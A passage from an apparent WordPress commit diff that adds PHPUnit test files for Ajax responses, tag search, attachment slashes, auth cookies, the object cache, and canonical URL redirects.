+class Tests_Ajax_Response extends WP_UnitTestCase {
+
+       /**
+        * Saved error reporting level
+        * @var int
+        */
+       protected $_error_level = 0;
+
+       /**
+        * Set up the test fixture.
+        * Override wp_die(), pretend to be ajax, and suppres E_WARNINGs
+        */
+       public function setUp() {
+               parent::setUp();
+
+               add_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+               if ( !defined( 'DOING_AJAX' ) )
+                       define( 'DOING_AJAX', true );
+
+               // Suppress warnings from "Cannot modify header information - headers already sent by"
+               $this->_error_level = error_reporting();
+               error_reporting( $this->_error_level & ~E_WARNING );
+       }
+
+       /**
+        * Tear down the test fixture.
+        * Remove the wp_die() override, restore error reporting
+        */
+       public function tearDown() {
+               parent::tearDown();
+               remove_filter( 'wp_die_ajax_handler', array( $this, 'getDieHandler' ), 1, 1 );
+               error_reporting( $this->_error_level );
+       }
+
+       /**
+        * Return our callback handler
+        * @return callback
+        */
+       public function getDieHandler() {
+               return array( $this, 'dieHandler' );
+       }
+
+       /**
+        * Handler for wp_die()
+        * Don't die, just continue on.
+        * @param string $message
+        */
+       public function dieHandler( $message ) {
+       }
+
+       /**
+        * Test that charset in header matches blog_charset
+        * Note:  headers_list doesn't work properly in CLI mode, fall back on
+        * xdebug_get_headers if it's available
+        * Needs a separate process to get around the headers/output from the
+        * bootstrapper
+        * @ticket 19448
+        * @runInSeparateProcess
+        */
+       public function test_response_charset_in_header() {
+
+               if ( !function_exists( 'xdebug_get_headers' ) ) {
+                       $this->markTestSkipped( 'xdebug is required for this test' );
+               }
+
+               // Generate an ajax response
+               ob_start();
+               $ajax_response = new WP_Ajax_Response();
+               $ajax_response->send();
+
+               // Check the header
+               $headers = xdebug_get_headers();
+               ob_end_clean();
+
+               $this->assertTrue( in_array( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), $headers ) );
+       }
+
+       /**
+        * Test that charset in the xml tag matches blog_charset
+        * @ticket 19448
+        */
+       public function test_response_charset_in_xml() {
+
+               // Generate an ajax response
+               ob_start();
+               $ajax_response = new WP_Ajax_Response();
+               $ajax_response->send();
+
+               // Check the XML tag
+               $contents = ob_get_clean();
+               $this->assertRegExp( '/<\?xml\s+version=\'1.0\'\s+encoding=\'' . preg_quote( get_option( 'blog_charset' ) ) . '\'\s+standalone=\'yes\'\?>/', $contents );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsajaxTagSearchphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/ajax/TagSearch.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/ajax/TagSearch.php                             (rev 0)
+++ trunk/tests/tests/ajax/TagSearch.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,152 @@
</span><ins>+<?php
+
+/**
+ * Admin ajax functions to be tested
+ */
+require_once( ABSPATH . 'wp-admin/includes/ajax-actions.php' );
+
+/**
+ * Testing ajax tag search functionality
+ *
+ * @package    WordPress
+ * @subpackage UnitTests
+ * @since      3.4.0
+ * @group      ajax
+ */
+class Tests_Ajax_TagSearch extends WP_Ajax_UnitTestCase {
+
+       /**
+        * List of terms to insert on setup
+        * @var array
+        */
+       private $_terms = array(
+               'chattels', 'depo', 'energumen', 'figuriste', 'habergeon', 'impropriation'
+       );
+
+       /**
+        * Setup
+        * @todo use a term factory
+        */
+       public function setUp() {
+               parent::setUp();
+
+               foreach ( $this->_terms as $term )
+                       wp_insert_term( $term, 'post_tag' );
+       }
+
+       /**
+        * Test as an admin
+        */
+       public function test_post_tag() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['tax'] = 'post_tag';
+               $_GET['q']   = 'chat';
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'ajax-tag-search' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Ensure we found the right match
+               $this->assertEquals( $this->_last_response, 'chattels' );
+       }
+
+       /**
+        * Test with no results
+        */
+       public function test_no_results() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['tax'] = 'post_tag';
+               $_GET['q']   = md5(uniqid());
+
+               // Make the request
+               // No output, so we get a stop exception
+               $this->setExpectedException( 'WPAjaxDieStopException', '0' );
+               $this->_handleAjax( 'ajax-tag-search' );
+       }
+
+       /**
+        * Test with commas
+        */
+       public function test_with_comma() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['tax'] = 'post_tag';
+               $_GET['q']   = 'some,nonsense, terms,chat'; // Only the last term in the list is searched
+
+               // Make the request
+               try {
+                       $this->_handleAjax( 'ajax-tag-search' );
+               } catch ( WPAjaxDieContinueException $e ) {
+                       unset( $e );
+               }
+
+               // Ensure we found the right match
+               $this->assertEquals( $this->_last_response, 'chattels' );
+       }
+
+       /**
+        * Test as a logged out user
+        */
+       public function test_logged_out() {
+
+               // Log out
+               wp_logout();
+
+               // Set up a default request
+               $_GET['tax'] = 'post_tag';
+               $_GET['q']   = 'chat';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'ajax-tag-search' );
+       }
+
+       /**
+        * Test with an invalid taxonomy type
+        */
+       public function test_invalid_tax() {
+
+               // Become an administrator
+               $this->_setRole( 'administrator' );
+
+               // Set up a default request
+               $_GET['tax'] = 'invalid-taxonomy';
+               $_GET['q']   = 'chat';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '0' );
+               $this->_handleAjax( 'ajax-tag-search' );
+       }
+
+       /**
+        * Test as an unprivileged user
+        */
+       public function test_unprivileged_user() {
+
+               // Become an administrator
+               $this->_setRole( 'subscriber' );
+
+               // Set up a default request
+               $_GET['tax'] = 'post_tag';
+               $_GET['q']   = 'chat';
+
+               // Make the request
+               $this->setExpectedException( 'WPAjaxDieStopException', '-1' );
+               $this->_handleAjax( 'ajax-tag-search' );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsattachmentslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/attachment/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/attachment/slashes.php                         (rev 0)
+++ trunk/tests/tests/attachment/slashes.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,63 @@
</span><ins>+<?php
+
+/**
+ * @group attachment
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Attachment_Slashes extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author_id = $this->factory->user->create( array( 'role' => 'editor' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+
+               // it is important to test with both even and odd numbered slashes as
+               // kses does a strip-then-add slashes in some of it's function calls
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_insert_attachment() {
+               $id = wp_insert_attachment(array(
+                       'post_status' => 'publish',
+                       'post_title' => $this->slash_1,
+                       'post_content_filtered' => $this->slash_3,
+                       'post_excerpt' => $this->slash_5,
+                       'post_type' => 'post'
+               ));
+               $post = get_post( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $post->post_title );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $post->post_content_filtered );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), $post->post_excerpt );
+
+               $id = wp_insert_attachment(array(
+                       'post_status' => 'publish',
+                       'post_title' => $this->slash_2,
+                       'post_content_filtered' => $this->slash_4,
+                       'post_excerpt' => $this->slash_6,
+                       'post_type' => 'post'
+               ));
+               $post = get_post( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $post->post_title );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $post->post_content_filtered );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), $post->post_excerpt );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsauthphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/auth.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/auth.php                               (rev 0)
+++ trunk/tests/tests/auth.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,66 @@
</span><ins>+<?php
+
+/**
+ * @group pluggable
+ */
+class Tests_Auth extends WP_UnitTestCase {
+       var $user_id;
+
+       function setUp() {
+               parent::setUp();
+               $this->user_id = $this->factory->user->create();
+       }
+
+       function test_auth_cookie_valid() {
+               $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+               $this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'auth' ) );
+       }
+
+       function test_auth_cookie_invalid() {
+               // 3600 or less and +3600 may occur in wp_validate_auth_cookie(),
+               // as an ajax test may have defined DOING_AJAX, failing the test.
+
+               $cookie = wp_generate_auth_cookie( $this->user_id, time() - 7200, 'auth' );
+               $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'auth' ), 'expired cookie' );
+
+               $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+               $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'logged_in' ), 'wrong auth scheme' );
+
+               $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'auth' );
+               list($a, $b, $c) = explode('|', $cookie);
+               $cookie = $a . '|' . ($b + 1) . '|' . $c;
+               $this->assertEquals( false, wp_validate_auth_cookie( $this->user_id, 'auth' ), 'altered cookie' );
+       }
+
+       function test_auth_cookie_scheme() {
+               // arbitrary scheme name
+               $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' );
+               $this->assertEquals( $this->user_id, wp_validate_auth_cookie( $cookie, 'foo' ) );
+
+               // wrong scheme name - should fail
+               $cookie = wp_generate_auth_cookie( $this->user_id, time() + 3600, 'foo' );
+               $this->assertEquals( false, wp_validate_auth_cookie( $cookie, 'bar' ) );
+       }
+
+       /*
+        * @ticket 23494
+        */
+       function test_password_trimming() {
+               $another_user = $this->factory->user->create( array( 'user_login' => 'password-triming-tests' ) );
+
+               $passwords_to_test = array(
+                       'a password with no trailing or leading spaces',
+                       'a password with trailing spaces ',
+                       ' a password with leading spaces',
+                       ' a password with trailing and leading spaces ',
+               );
+
+               foreach( $passwords_to_test as $password_to_test ) {
+                       wp_set_password( $password_to_test, $another_user );
+                       $authed_user = wp_authenticate( 'password-triming-tests', $password_to_test );
+
+                       $this->assertInstanceOf( 'WP_User', $authed_user );
+                       $this->assertEquals( $another_user, $authed_user->ID );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsbasicphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/basic.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/basic.php                              (rev 0)
+++ trunk/tests/tests/basic.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,91 @@
</span><ins>+<?php
+
+/**
+ * just make sure the test framework is working
+ *
+ * @group testsuite
+ */
+class Tests_Basic extends WP_UnitTestCase {
+       var $val;
+
+       function setUp() {
+               parent::setUp();
+               $this->val = true;
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               $this->val = false;
+       }
+
+       function test_true() {
+               $this->assertTrue($this->val);
+       }
+
+       // two tests for a lame bug in PHPUnit that broke the $GLOBALS reference
+       function test_globals() {
+               global $test_foo;
+               $test_foo = array('foo', 'bar', 'baz');
+
+               function test_globals_foo() {
+                       unset($GLOBALS['test_foo'][1]);
+               }
+
+               test_globals_foo();
+
+               $this->assertEquals($test_foo, array(0=>'foo', 2=>'baz'));
+               $this->assertEquals($test_foo, $GLOBALS['test_foo']);
+       }
+
+       function test_globals_bar() {
+               global $test_bar;
+               $test_bar = array('a', 'b', 'c');
+               $this->assertEquals($test_bar, $GLOBALS['test_bar']);
+       }
+
+       // test some helper utility functions
+
+       function test_strip_ws() {
+               $this->assertEquals('', strip_ws(''));
+               $this->assertEquals('foo', strip_ws('foo'));
+               $this->assertEquals('', strip_ws("\r\n\t  \n\r\t"));
+
+               $in  = "asdf\n";
+               $in .= "asdf asdf\n";
+               $in .= "asdf     asdf\n";
+               $in .= "\tasdf\n";
+               $in .= "\tasdf\t\n";
+               $in .= "\t\tasdf\n";
+               $in .= "foo bar\n\r\n";
+               $in .= "foo\n";
+
+               $expected  = "asdf\n";
+               $expected .= "asdf asdf\n";
+               $expected .= "asdf     asdf\n";
+               $expected .= "asdf\n";
+               $expected .= "asdf\n";
+               $expected .= "asdf\n";
+               $expected .= "foo bar\n";
+               $expected .= "foo";
+
+               $this->assertEquals($expected, strip_ws($in));
+
+       }
+
+       function test_mask_input_value() {
+               $in = <<<EOF
+<h2>Assign Authors</h2>
+<p>To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.</p>
+<p>If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)</p>
+        <ol id="authors"><form action="?import=wordpress&amp;step=2&amp;id=" method="post"><input type="hidden" name="_wpnonce" value="855ae98911" /><input type="hidden" name="_wp_http_referer" value="wp-test.php" /><li>Current author: <strong>Alex Shiels</strong><br />Create user  <input type="text" value="Alex Shiels" name="user[]" maxlength="30"> <br /> or map to existing<select name="userselect[0]">
+EOF;
+               // _wpnonce value should be replaced with 'xxx'
+               $expected = <<<EOF
+<h2>Assign Authors</h2>
+<p>To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.</p>
+<p>If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)</p>
+        <ol id="authors"><form action="?import=wordpress&amp;step=2&amp;id=" method="post"><input type="hidden" name="_wpnonce" value="***" /><input type="hidden" name="_wp_http_referer" value="wp-test.php" /><li>Current author: <strong>Alex Shiels</strong><br />Create user  <input type="text" value="Alex Shiels" name="user[]" maxlength="30"> <br /> or map to existing<select name="userselect[0]">
+EOF;
+               $this->assertEquals($expected, mask_input_value($in));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscachephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/cache.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/cache.php                              (rev 0)
+++ trunk/tests/tests/cache.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,308 @@
</span><ins>+<?php
+
+/**
+ * @group cache
+ */
+class Tests_Cache extends WP_UnitTestCase {
+       var $cache = NULL;
+
+       function setUp() {
+               parent::setUp();
+               // create two cache objects with a shared cache dir
+               // this simulates a typical cache situation, two separate requests interacting
+               $this->cache =& $this->init_cache();
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               $this->flush_cache();
+       }
+
+       function &init_cache() {
+               $cache = new WP_Object_Cache();
+               $cache->add_global_groups( array( 'global-cache-test', 'users', 'userlogins', 'usermeta', 'user_meta', 'site-transient', 'site-options', 'site-lookup', 'blog-lookup', 'blog-details', 'rss', 'global-posts', 'blog-id-cache' ) );
+               return $cache;
+       }
+
+       function test_miss() {
+               $this->assertEquals(NULL, $this->cache->get(rand_str()));
+       }
+
+       function test_add_get() {
+               $key = rand_str();
+               $val = rand_str();
+
+               $this->cache->add($key, $val);
+               $this->assertEquals($val, $this->cache->get($key));
+       }
+
+       function test_add_get_0() {
+               $key = rand_str();
+               $val = 0;
+
+               // you can store zero in the cache
+               $this->cache->add($key, $val);
+               $this->assertEquals($val, $this->cache->get($key));
+       }
+
+       function test_add_get_null() {
+               $key = rand_str();
+               $val = null;
+
+               $this->assertTrue( $this->cache->add($key, $val) );
+               // null is converted to empty string
+               $this->assertEquals( '', $this->cache->get($key) );
+       }
+
+       function test_add() {
+               $key = rand_str();
+               $val1 = rand_str();
+               $val2 = rand_str();
+
+               // add $key to the cache
+               $this->assertTrue($this->cache->add($key, $val1));
+               $this->assertEquals($val1, $this->cache->get($key));
+               // $key is in the cache, so reject new calls to add()
+               $this->assertFalse($this->cache->add($key, $val2));
+               $this->assertEquals($val1, $this->cache->get($key));
+       }
+
+       function test_replace() {
+               $key = rand_str();
+               $val = rand_str();
+               $val2 = rand_str();
+
+               // memcached rejects replace() if the key does not exist
+               $this->assertFalse($this->cache->replace($key, $val));
+               $this->assertFalse($this->cache->get($key));
+               $this->assertTrue($this->cache->add($key, $val));
+               $this->assertEquals($val, $this->cache->get($key));
+               $this->assertTrue($this->cache->replace($key, $val2));
+               $this->assertEquals($val2, $this->cache->get($key));
+       }
+
+       function test_set() {
+               $key = rand_str();
+               $val1 = rand_str();
+               $val2 = rand_str();
+
+               // memcached accepts set() if the key does not exist
+               $this->assertTrue($this->cache->set($key, $val1));
+               $this->assertEquals($val1, $this->cache->get($key));
+               // Second set() with same key should be allowed
+               $this->assertTrue($this->cache->set($key, $val2));
+               $this->assertEquals($val2, $this->cache->get($key));
+       }
+
+       function test_flush() {
+               global $_wp_using_ext_object_cache;
+
+               if ( $_wp_using_ext_object_cache )
+                       return;
+
+               $key = rand_str();
+               $val = rand_str();
+
+               $this->cache->add($key, $val);
+               // item is visible to both cache objects
+               $this->assertEquals($val, $this->cache->get($key));
+               $this->cache->flush();
+               // If there is no value get returns false.
+               $this->assertFalse($this->cache->get($key));
+       }
+
+       // Make sure objects are cloned going to and from the cache
+       function test_object_refs() {
+               $key = rand_str();
+               $object_a = new stdClass;
+               $object_a->foo = 'alpha';
+               $this->cache->set( $key, $object_a );
+               $object_a->foo = 'bravo';
+               $object_b = $this->cache->get( $key );
+               $this->assertEquals( 'alpha', $object_b->foo );
+               $object_b->foo = 'charlie';
+               $this->assertEquals( 'bravo', $object_a->foo );
+
+               $key = rand_str();
+               $object_a = new stdClass;
+               $object_a->foo = 'alpha';
+               $this->cache->add( $key, $object_a );
+               $object_a->foo = 'bravo';
+               $object_b = $this->cache->get( $key );
+               $this->assertEquals( 'alpha', $object_b->foo );
+               $object_b->foo = 'charlie';
+               $this->assertEquals( 'bravo', $object_a->foo );
+       }
+
+       function test_incr() {
+               $key = rand_str();
+
+               $this->assertFalse( $this->cache->incr( $key ) );
+
+               $this->cache->set( $key, 0 );
+               $this->cache->incr( $key );
+               $this->assertEquals( 1, $this->cache->get( $key ) );
+
+               $this->cache->incr( $key, 2 );
+               $this->assertEquals( 3, $this->cache->get( $key ) );
+       }
+
+       function test_wp_cache_incr() {
+               $key = rand_str();
+
+               $this->assertFalse( wp_cache_incr( $key ) );
+
+               wp_cache_set( $key, 0 );
+               wp_cache_incr( $key );
+               $this->assertEquals( 1, wp_cache_get( $key ) );
+
+               wp_cache_incr( $key, 2 );
+               $this->assertEquals( 3, wp_cache_get( $key ) );
+       }
+
+       function test_decr() {
+               $key = rand_str();
+
+               $this->assertFalse( $this->cache->decr( $key ) );
+
+               $this->cache->set( $key, 0 );
+               $this->cache->decr( $key );
+               $this->assertEquals( 0, $this->cache->get( $key ) );
+
+               $this->cache->set( $key, 3 );
+               $this->cache->decr( $key );
+               $this->assertEquals( 2, $this->cache->get( $key ) );
+
+               $this->cache->decr( $key, 2 );
+               $this->assertEquals( 0, $this->cache->get( $key ) );
+       }
+
+       /**
+        * @group 21327
+        */
+       function test_wp_cache_decr() {
+               $key = rand_str();
+
+               $this->assertFalse( wp_cache_decr( $key ) );
+
+               wp_cache_set( $key, 0 );
+               wp_cache_decr( $key );
+               $this->assertEquals( 0, wp_cache_get( $key ) );
+
+               wp_cache_set( $key, 3 );
+               wp_cache_decr( $key );
+               $this->assertEquals( 2, wp_cache_get( $key ) );
+
+               wp_cache_decr( $key, 2 );
+               $this->assertEquals( 0, wp_cache_get( $key ) );
+       }
+
+       function test_delete() {
+               $key = rand_str();
+               $val = rand_str();
+
+               // Verify set
+               $this->assertTrue( $this->cache->set( $key, $val ) );
+               $this->assertEquals( $val, $this->cache->get( $key ) );
+
+               // Verify successful delete
+               $this->assertTrue( $this->cache->delete( $key ) );
+               $this->assertFalse( $this->cache->get( $key ) );
+
+               $this->assertFalse( $this->cache->delete( $key, 'default') );
+       }
+
+       function test_wp_cache_delete() {
+               $key = rand_str();
+               $val = rand_str();
+
+               // Verify set
+               $this->assertTrue( wp_cache_set( $key, $val ) );
+               $this->assertEquals( $val, wp_cache_get( $key ) );
+
+               // Verify successful delete
+               $this->assertTrue( wp_cache_delete( $key ) );
+               $this->assertFalse( wp_cache_get( $key ) );
+
+               // wp_cache_delete() does not have a $force method.
+               // Delete returns (bool) true when key is not set and $force is true
+               // $this->assertTrue( wp_cache_delete( $key, 'default', true ) );
+
+               $this->assertFalse( wp_cache_delete( $key, 'default') );
+       }
+
+       function test_switch_to_blog() {
+               if ( ! method_exists( $this->cache, 'switch_to_blog' ) )
+                       return;
+
+               $key = rand_str();
+               $val = rand_str();
+               $val2 = rand_str();
+
+               if ( ! is_multisite() ) {
+                       // Single site ingnores switch_to_blog().
+                       $this->assertTrue( $this->cache->set( $key, $val ) );
+                       $this->assertEquals( $val, $this->cache->get( $key ) );
+                       $this->cache->switch_to_blog( 999 );
+                       $this->assertEquals( $val, $this->cache->get( $key ) );
+                       $this->assertTrue( $this->cache->set( $key, $val2 ) );
+                       $this->assertEquals( $val2, $this->cache->get( $key ) );
+                       $this->cache->switch_to_blog( get_current_blog_id() );
+                       $this->assertEquals( $val2, $this->cache->get( $key ) );
+               } else {
+                       // Multisite should have separate per-blog caches
+                       $this->assertTrue( $this->cache->set( $key, $val ) );
+                       $this->assertEquals( $val, $this->cache->get( $key ) );
+                       $this->cache->switch_to_blog( 999 );
+                       $this->assertFalse( $this->cache->get( $key ) );
+                       $this->assertTrue( $this->cache->set( $key, $val2 ) );
+                       $this->assertEquals( $val2, $this->cache->get( $key ) );
+                       $this->cache->switch_to_blog( get_current_blog_id() );
+                       $this->assertEquals( $val, $this->cache->get( $key ) );
+                       $this->cache->switch_to_blog( 999 );
+                       $this->assertEquals( $val2, $this->cache->get( $key ) );
+                       $this->cache->switch_to_blog( get_current_blog_id() );
+                       $this->assertEquals( $val, $this->cache->get( $key ) );
+               }
+
+               // Global group
+               $this->assertTrue( $this->cache->set( $key, $val, 'global-cache-test' ) );
+               $this->assertEquals( $val, $this->cache->get( $key, 'global-cache-test' ) );
+               $this->cache->switch_to_blog( 999 );
+               $this->assertEquals( $val, $this->cache->get( $key, 'global-cache-test' ) );
+               $this->assertTrue( $this->cache->set( $key, $val2, 'global-cache-test' ) );
+               $this->assertEquals( $val2, $this->cache->get( $key, 'global-cache-test' ) );
+               $this->cache->switch_to_blog( get_current_blog_id() );
+               $this->assertEquals( $val2, $this->cache->get( $key, 'global-cache-test' ) );
+       }
+
+       function test_wp_cache_init() {
+               $new_blank_cache_object = new WP_Object_Cache();
+               wp_cache_init();
+
+               global $wp_object_cache;
+               $this->assertEquals( $wp_object_cache, $new_blank_cache_object );
+       }
+
+       function test_wp_cache_replace() {
+               $key  = 'my-key';
+               $val1 = 'first-val';
+               $val2 = 'second-val';
+
+               $fake_key = 'my-fake-key';
+
+               // Save the first value to cache and verify
+               wp_cache_set( $key, $val1 );
+               $this->assertEquals( $val1, wp_cache_get( $key ) );
+
+               // Replace the value and verify
+               wp_cache_replace( $key, $val2 );
+               $this->assertEquals( $val2, wp_cache_get( $key ) );
+
+               // Non-existant key should fail
+               $this->assertFalse( wp_cache_replace( $fake_key, $val1 ) );
+
+               // Make sure $fake_key is not stored
+               $this->assertFalse( wp_cache_get( $fake_key ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscanonicalcustomRulesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/canonical/customRules.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/canonical/customRules.php                              (rev 0)
+++ trunk/tests/tests/canonical/customRules.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,35 @@
</span><ins>+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/canonical.php';
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_CustomRules extends Tests_Canonical {
+       function setUp() {
+               parent::setUp();
+               global $wp_rewrite;
+               // Add a custom Rewrite rule to test category redirections.
+               $wp_rewrite->add_rule('ccr/(.+?)/sort/(asc|desc)', 'index.php?category_name=$matches[1]&order=$matches[2]', 'top'); // ccr = Custom_Cat_Rule
+               $wp_rewrite->flush_rules();
+       }
+
+       function data() {
+               /* Format:
+                * [0]: $test_url,
+                * [1]: expected results: Any of the following can be used
+                *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+                *      array( expected query vars to be set, same as 'qv' above )
+                *      (string) expected redirect location
+                * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+                */
+               return array(
+                       // Custom Rewrite rules leading to Categories
+                       array( '/ccr/uncategorized/sort/asc/', array( 'url' => '/ccr/uncategorized/sort/asc/', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'asc' ) ) ),
+                       array( '/ccr/uncategorized/sort/desc/', array( 'url' => '/ccr/uncategorized/sort/desc/', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'desc' ) ) ),
+                       array( '/ccr/uncategorized/sort/desc/?year=2008', array( 'url' => '/ccr/uncategorized/sort/desc/?year=2008', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'desc', 'year' => '2008' ) ), 17661 ),
+               );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscanonicalnoRewritephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/canonical/noRewrite.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/canonical/noRewrite.php                                (rev 0)
+++ trunk/tests/tests/canonical/noRewrite.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,45 @@
</span><ins>+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/canonical.php';
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_NoRewrite extends Tests_Canonical {
+
+       var $structure = '';
+
+       // These test cases are run against the test handler in WP_Canonical
+
+       function data() {
+               /* Format:
+                * [0]: $test_url,
+                * [1]: expected results: Any of the following can be used
+                *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+                *      array( expected query vars to be set, same as 'qv' above )
+                *      (string) expected redirect location
+                * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+                */
+               return array(
+                       array( '/?p=123', '/?p=123' ),
+
+                       // This post_type arg should be stripped, because p=1 exists, and does not have post_type= in its query string
+                       array( '/?post_type=fake-cpt&p=1', '/?p=1' ),
+
+                       // Strip an existing but incorrect post_type arg
+                       array( '/?post_type=page&page_id=1', '/?p=1' ),
+
+                       array( '/?p=358 ', array('url' => '/?p=358',  'qv' => array('p' => '358') ) ), // Trailing spaces
+                       array( '/?p=358%20', array('url' => '/?p=358',  'qv' => array('p' => '358') ) ),
+
+                       array( '/?page_id=1', '/?p=1' ), // redirect page_id to p (should cover page_id|p|attachment_id to one another
+                       array( '/?page_id=1&post_type=revision', '/?p=1' ),
+
+                       array( '/?feed=rss2&p=1', '/?feed=rss2&p=1', 21841 ),
+                       array( '/?feed=rss&p=1', '/?feed=rss2&p=1', 24623 ),
+
+               );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscanonicalpageOnFrontphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/canonical/pageOnFront.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/canonical/pageOnFront.php                              (rev 0)
+++ trunk/tests/tests/canonical/pageOnFront.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,38 @@
</span><ins>+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/canonical.php';
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_PageOnFront extends Tests_Canonical {
+       function setUp() {
+               parent::setUp();
+               global $wp_rewrite;
+               update_option( 'show_on_front', 'page' );
+               update_option( 'page_for_posts', $this->factory->post->create( array( 'post_title' => 'blog-page', 'post_type' => 'page' ) ) );
+               update_option( 'page_on_front', $this->factory->post->create( array( 'post_title' => 'front-page', 'post_type' => 'page' ) ) );
+               $wp_rewrite->init();
+               flush_rewrite_rules();
+       }
+
+       function data() {
+               /* Format:
+                * [0]: $test_url,
+                * [1]: expected results: Any of the following can be used
+                *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+                *      array( expected query vars to be set, same as 'qv' above )
+                *      (string) expected redirect location
+                * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+                */
+                return array(
+                        // Check against an odd redirect
+                        array( '/page/2/', '/page/2/', 20385 ),
+                        // The page designated as the front page should redirect to the front of the site
+                        array( '/front-page/', '/' ),
+                        array( '/blog-page/?paged=2', '/blog-page/page/2/' ),
+                );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscanonicalpermalinkFormatsphp"></a>
